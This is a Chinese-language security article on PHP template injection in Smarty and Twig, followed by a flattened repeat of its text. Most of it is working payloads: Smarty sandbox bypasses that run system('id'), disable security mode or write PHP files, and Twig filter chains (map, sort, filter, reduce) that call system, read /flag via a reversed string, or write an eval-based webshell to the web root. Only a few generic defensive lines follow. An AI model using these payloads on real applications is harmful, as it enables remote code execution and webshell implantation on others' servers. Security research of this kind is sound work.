php高版本模版注入tricks
字数 1038 2025-08-29 08:32:24

PHP高版本模板注入技巧详解

背景介绍

PHP常见的模板引擎主要有两种:Twig和Smarty。随着版本升级,安全策略增强以及黑名单机制的实施,传统的RCE方法变得难以利用。本文将详细分析高版本下的模板注入技巧。

Smarty模板注入

低版本利用手法

  1. CISCN2019 Web11案例

    • 通过X-Forwarded-For头插入payload实现RCE
    • 示例payload:{if system('cat /flag')}{/if}
  2. 3.1以下版本特有方法

    • 使用{php}标签直接调用函数:{php}phpinfo();{/php}
    • 3.1+版本已禁用此标签,仅在SmartyBC中可用
  3. {literal}标签利用

    • 配合PHP5的特殊标签:<script language="php">phpinfo();</script>
  4. 3.1.30之前版本文件读写

    • 利用getStreamVariable方法:
    public function getStreamVariable($variable) {
        $_result = '';
        $fp = fopen($variable, 'r+');
        if ($fp) {
            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                $_result .= $current_line;
            }
            fclose($fp);
            return $_result;
        }
    }
    
  5. <3.31版本命令执行

    • 通过注释闭合实现文件包含:*/phpinfo();/*
    • 相关漏洞:CVE-2017-1000480

高版本利用方法

  1. 基本沙盒绕过

    ?poc=string:{$s=$smarty.template_object->smarty}
    {$fp=$smarty.template_object->compiled->filepath}
    {Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php phpinfo();",$s)}
    
  2. 禁用安全模式

    ?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}
    
  3. 函数定义绕过

    ?poc=string:{function+name='rce(){};system("id");function+'}{/function}
    
    • 注意:某些黑名单可能检查"function"关键字,可尝试大写绕过
  4. 严格沙盒模式下的绕过

    • 当display函数被禁用时,可使用fetch函数实现相同效果

Twig模板注入

低版本利用手法

  1. 1.x版本
    • 利用_self变量调用Twig_Enviromentgetfilter方法
    • 底层通过call_user_func实现RCE

高版本利用方法(2.x/3.x)

  1. 过滤器利用

    {{"<?php phpinfo(); eval($_POST[1])":"/var/www/html/1.php"}|map("file_put_contents")}}
    {{["id",0]|sort("system")}}
    {{["id"]|filter("system")}}
    {{[0,0]|reduce("system","id")}}
    
    • 利用了mapsortfilterreduce四种构造器
    • 底层原理:调用array_filterarray_reducearray_map等函数
  2. 创新payload示例

    {{["galf/"," tac"]|join|reverse|split("")|filter("system")}}
    
    • 通过join拼接字符串,reverse反转,split分割为数组
    • 最终通过filter执行系统命令

防御措施

  1. Smarty防御

    • 使用最新版本
    • 配置严格的安全策略
    • 禁用危险函数和方法
  2. Twig防御

    • 限制过滤器使用
    • 禁用危险函数
    • 对用户输入进行严格过滤

总结

高版本模板注入虽然难度增加,但通过深入理解模板引擎的工作原理和安全机制,仍然可以找到有效的利用方法。安全人员应关注这些技巧,以便更好地防御此类攻击。

PHP高版本模板注入技巧详解 背景介绍 PHP常见的模板引擎主要有两种:Twig和Smarty。随着版本升级,安全策略增强以及黑名单机制的实施,传统的RCE方法变得难以利用。本文将详细分析高版本下的模板注入技巧。 Smarty模板注入 低版本利用手法 CISCN2019 Web11案例 : 通过 X-Forwarded-For 头插入payload实现RCE 示例payload: {if system('cat /flag')}{/if} 3.1以下版本特有方法 : 使用 {php} 标签直接调用函数: {php}phpinfo();{/php} 3.1+版本已禁用此标签,仅在SmartyBC中可用 {literal}标签利用 : 配合PHP5的特殊标签: <script language="php">phpinfo();</script> 3.1.30之前版本文件读写 : 利用 getStreamVariable 方法: <3.31版本命令执行 : 通过注释闭合实现文件包含: */phpinfo();/* 相关漏洞:CVE-2017-1000480 高版本利用方法 基本沙盒绕过 : 禁用安全模式 : 函数定义绕过 : 注意:某些黑名单可能检查"function"关键字,可尝试大写绕过 严格沙盒模式下的绕过 : 当display函数被禁用时,可使用fetch函数实现相同效果 Twig模板注入 低版本利用手法 1.x版本 : 利用 _self 变量调用 Twig_Enviroment 的 getfilter 方法 底层通过 call_user_func 实现RCE 高版本利用方法(2.x/3.x) 过滤器利用 : 利用了 map 、 sort 、 filter 、 reduce 四种构造器 底层原理:调用 array_filter 、 array_reduce 、 array_map 等函数 创新payload示例 : 通过 join 拼接字符串, reverse 反转, split 分割为数组 最终通过 filter 执行系统命令 防御措施 Smarty防御 : 使用最新版本 配置严格的安全策略 禁用危险函数和方法 Twig防御 : 限制过滤器使用 禁用危险函数 对用户输入进行严格过滤 总结 高版本模板注入虽然难度增加,但通过深入理解模板引擎的工作原理和安全机制,仍然可以找到有效的利用方法。安全人员应关注这些技巧,以便更好地防御此类攻击。